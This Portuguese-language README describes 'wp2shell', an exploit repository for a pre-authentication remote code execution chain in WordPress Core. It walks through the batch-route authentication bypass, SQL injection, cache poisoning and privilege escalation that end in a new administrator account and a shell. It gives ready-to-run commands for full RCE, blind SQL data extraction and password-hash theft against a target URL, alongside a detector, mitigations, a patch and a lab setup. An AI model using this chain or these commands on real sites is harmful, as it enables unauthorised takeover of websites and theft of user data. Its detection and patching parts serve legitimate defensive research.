wp2shell — RCE Pré-Autenticação no WordPress Core

CVE-2026-63030 (Confusão de Rota Batch, CVSS 7.5) + CVE-2026-60137 (Injeção de SQL, CVSS 9.1)

Uma cadeia de execução remota de código pré-autenticação no WordPress Core que não requer plugins, nenhuma configuração especial e funciona em instalações padrão.

Versões Afetadas

Faixa de Versões	Impacto	Corrigido Em
WordPress 7.0.0 – 7.0.1	RCE Completo	7.0.2
WordPress 6.9.0 – 6.9.4	RCE Completo	6.9.5
WordPress 6.8.0 – 6.8.5	Somente Injeção de SQL	6.8.6

Pré-requisito: Sem cache de objetos persistente (Redis/Memcached). Esta é a configuração padrão para a grande maioria das instalações do WordPress.

Resumo da Vulnerabilidade

O exploit encadeia duas vulnerabilidades:

Confusão de Rota Batch na REST API — Um caminho malformado em uma sub-requisição batch faz com que wp_parse_url() retorne false, criando um WP_Error que dessincroniza os arrays $matches[] e $requests[]. Requisições subsequentes são despachadas para handlers incorretos, contornando a autenticação.
Injeção de SQL no WP_Query — Quando author__not_in é passado como string (e não como array), a sanitização via absint() é ignorada e o valor bruto é interpolado diretamente na cláusula SQL WHERE.

Combinado com o sistema de cache oEmbed do WordPress (primitiva de escrita), a publicação automática de changesets do Customizer (escalonamento de privilégios) e a reentrância da REST API (despacho privilegiado), isso alcança execução de código não autenticada.

Estrutura do Repositório

wp2shell/
├── README.md                          ← This file
│
├── wp2shell-exploit/                  ← Exploitation tools
│   ├── exploit.py                     # Full pre-auth RCE (no password cracking)
│   ├── exploit_hash.py                # Hash extraction + authenticated RCE
│   ├── detect.py                      # Non-destructive vulnerability scanner
│   └── README.md
│
├── wp2shell-patch/                    ← Remediation
│   ├── patch.sh                       # Source code patch (mirrors official fix)
│   ├── wp2shell-shield.php            # Drop-in mu-plugin (30-second deploy)
│   ├── block-batch.conf               # Nginx mitigation
│   ├── block-batch.htaccess           # Apache mitigation
│   └── README.md
│
├── docker-compose.yml                 # Vulnerable test environment (WP 7.0.1)
└── Dockerfile.debug                   # XDebug-enabled image for research

O código-fonte do WordPress não está incluído. Baixe em https://wordpress.org/download/releases/ (7.0.1 para a versão vulnerável, 7.0.2 para a corrigida).

Início Rápido

Detecção (seguro, não destrutivo)

cd wp2shell-exploit

# Single target
python3 detect.py https://target.example

# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli

# Batch scan from file
python3 detect.py targets.txt -q

Exploração

# Full pre-auth RCE (recommended — no password cracking needed)
python3 exploit.py https://target.example -c "id"

# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"

# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"

Remediação

cd wp2shell-patch

# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/

# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess

# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress

# Best option: just update WordPress
wp core update  # or Dashboard → Updates

Cadeia de Exploração

                    ┌─────────────────────────────┐
                    │  Anonymous HTTP Request      │
                    │  POST /?rest_route=/batch/v1 │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Batch Desync (outer)        │
                    │  Malformed path → WP_Error   │
                    │  $matches[] array shifts     │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Steal /batch/v1 handler     │
                    │  (no permission_callback!)   │
                    │  → nested batch executes     │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Batch Desync (inner)        │
                    │  GET methods now allowed     │
                    │  author_exclude unsanitized  │
                    └──────────────┬──────────────┘
                                   │
              ┌────────────────────┼────────────────────┐
              │                    │                    │
   ┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
   │ Phase 1: oEmbed     │ │ Phase 2:    │ │ Phase 3: Escalation │
   │ UNION SELECT fake   │ │ Blind SQLi  │ │ Cache poison +      │
   │ post with [embed]   │ │ extract IDs │ │ Changeset publish   │
   │ → WP creates cache  │ │ + admin ID  │ │ → wp_set_current_   │
   │ posts (write prim.) │ │             │ │   user(admin)       │
   └─────────────────────┘ └─────────────┘ └──────────┬──────────┘
                                                       │
                                        ┌──────────────▼──────────────┐
                                        │  Re-entrancy                │
                                        │  parse_request triggers     │
                                        │  serve_request() re-entry   │
                                        │  → now running as admin!    │
                                        └──────────────┬──────────────┘
                                                       │
                                        ┌──────────────▼──────────────┐
                                        │  POST /wp/v2/users          │
                                        │  Creates new administrator  │
                                        │  → Login → Plugin → Shell   │
                                        └─────────────────────────────┘

Análise do Patch

O WordPress 6.9.5 / 7.0.2 aplica três correções que quebram cada uma um elo da cadeia:

Correção	Arquivo	Efeito
Alinhamento de arrays	`class-wp-rest-server.php`	`$matches[] = $single_request` para entradas WP_Error — evita dessincronização
Proteção de reentrância	`class-wp-rest-server.php` + `rest-api.php`	`if ($this->is_dispatching()) return false` — evita serve_request aninhado
Sanitização de SQL	`class-wp-query.php`	`wp_parse_id_list()` sempre aplicada — evita injeção

O WordPress 7.0.2 também remove o recurso de colaboração (defesa em profundidade).

Ambiente de Teste

# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode "weblog_title=Test" \
  --data-urlencode "user_name=admin" \
  --data-urlencode "admin_password=TestPassword123" \
  --data-urlencode "admin_password2=TestPassword123" \
  --data-urlencode "[email protected]" \
  --data-urlencode "blog_public=0" \
  --data-urlencode "Submit=Install WordPress"

# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"

# Clean up
docker compose down

Referências

Aviso Legal

Este repositório é fornecido apenas para pesquisa de segurança autorizada, testes de penetração e fins educacionais. Use apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.